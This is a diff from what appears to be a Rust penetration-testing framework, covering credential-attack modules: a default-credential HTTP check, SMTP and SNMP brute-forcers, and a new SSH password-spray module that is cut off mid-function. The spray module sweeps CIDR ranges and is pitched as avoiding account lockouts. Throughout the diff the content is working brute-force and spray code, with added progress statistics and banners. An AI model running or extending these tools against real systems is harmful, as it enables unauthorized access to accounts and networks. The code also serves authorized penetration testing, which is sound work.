stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
@@ -207,15 +317,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
println!("{}", "[-] No credentials found (with these paths).".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials (and paths):");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
@@ -1,14 +1,32 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking default creds on: {}", target);
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
println!();
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::new();
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Hypothetical login using "admin:admin"
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
@@ -17,9 +35,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("[+] Default credentials admin:admin are valid!");
|
||||
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
} else {
|
||||
println!("[-] Default credentials admin:admin failed.");
|
||||
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,17 +1,97 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::Colorize;
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::time::Duration;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::time::{Duration, Instant};
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SMTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports AUTH PLAIN and AUTH LOGIN ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
target: String,
|
||||
@@ -25,7 +105,9 @@ struct SmtpBruteforceConfig {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== SMTP Bruteforce ===\n");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
let port = prompt_port(25);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
|
||||
@@ -53,10 +135,20 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("[*] Loaded {} username(s).", usernames.len());
|
||||
println!("[*] Loaded {} password(s).", passwords.len());
|
||||
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
|
||||
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
@@ -69,43 +161,72 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let stats = Arc::clone(&stats);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
if config.verbose { println!("[*] {}:{}", user, pass); }
|
||||
match try_smtp_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
stats.record_attempt(true, false);
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
Ok(false) => {
|
||||
stats.record_attempt(false, false);
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_attempt(false, true);
|
||||
if config.verbose {
|
||||
eprintln!("\r{}", format!("[!] {}:{}: {}", user, pass, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
println!("{}", "[-] No valid credentials found.".yellow());
|
||||
} else {
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", found.len()).green().bold());
|
||||
for (u,p) in found.iter() { println!(" {} {}:{}", "✓".green(), u, p); }
|
||||
if prompt("\nSave found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
println!("{}", format!("[+] Results saved to {}", f).green());
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
|
||||
@@ -7,15 +7,95 @@ use std::{
|
||||
net::{SocketAddr, UdpSocket},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Valid communities: {}", success.to_string().green().bold());
|
||||
println!(" Invalid: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SNMPv1/v2c Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Community String Discovery Tool ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SNMPv1 & SNMPv2c Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SNMP Port", "161")?;
|
||||
@@ -89,6 +169,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
|
||||
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
|
||||
@@ -98,6 +179,21 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[!] Community wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let communities = Arc::new(communities);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
@@ -111,6 +207,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let community_clone = community.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let version = snmp_version;
|
||||
@@ -123,20 +220,27 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> community: '{}'", addr_clone, community_clone);
|
||||
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), community_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> community: '{}'", addr_clone, community_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -154,15 +258,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No valid community strings found.");
|
||||
println!("{}", "[-] No valid community strings found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid community strings:");
|
||||
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
|
||||
for (host, community) in creds.iter() {
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
}
|
||||
|
||||
@@ -302,9 +302,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let retry_flag = retry_on_error;
|
||||
let max_retries_clone = max_retries;
|
||||
|
||||
let permit = semaphore_clone.acquire_owned().await.unwrap();
|
||||
// Spawn task immediately - acquire permit INSIDE the task for true concurrency
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Acquire semaphore permit inside the spawned task
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
@@ -353,9 +361,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
// Wait for all tasks with bounded concurrency
|
||||
while let Some(result) = tasks.pop() {
|
||||
let _ = result.await;
|
||||
}
|
||||
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
|
||||
@@ -0,0 +1,474 @@
|
||||
//! SSH Password Spray Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
|
||||
//! Useful for avoiding account lockouts while testing common passwords.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_THREADS: usize = 20;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Password Spray ║".cyan());
|
||||
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Benefits: ║".cyan());
|
||||
println!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
println!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful: AtomicU64,
|
||||
failed: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful: AtomicU64::new(0),
|
||||
failed: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful.load(Ordering::Relaxed);
|
||||
let failed = self.failed.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// Credential result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SprayResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
/// Try SSH authentication
|
||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
)?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
|
||||
match sess.userauth_password(username, password) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load list from file
|
||||
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let items: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(items)
|
||||
}
|
||||
|
||||
/// Main spray function
|
||||
pub async fn password_spray(
|
||||
targets: Vec<(String, u16)>,
|
||||
usernames: &[String],
|
||||
password: &str,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Vec<SprayResult> {
|
||||
let total = targets.len() * usernames.len();
|
||||
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
password, targets.len(), usernames.len(), total).cyan());
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Spray tasks
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
for user in usernames {
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
let host = host.clone();
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
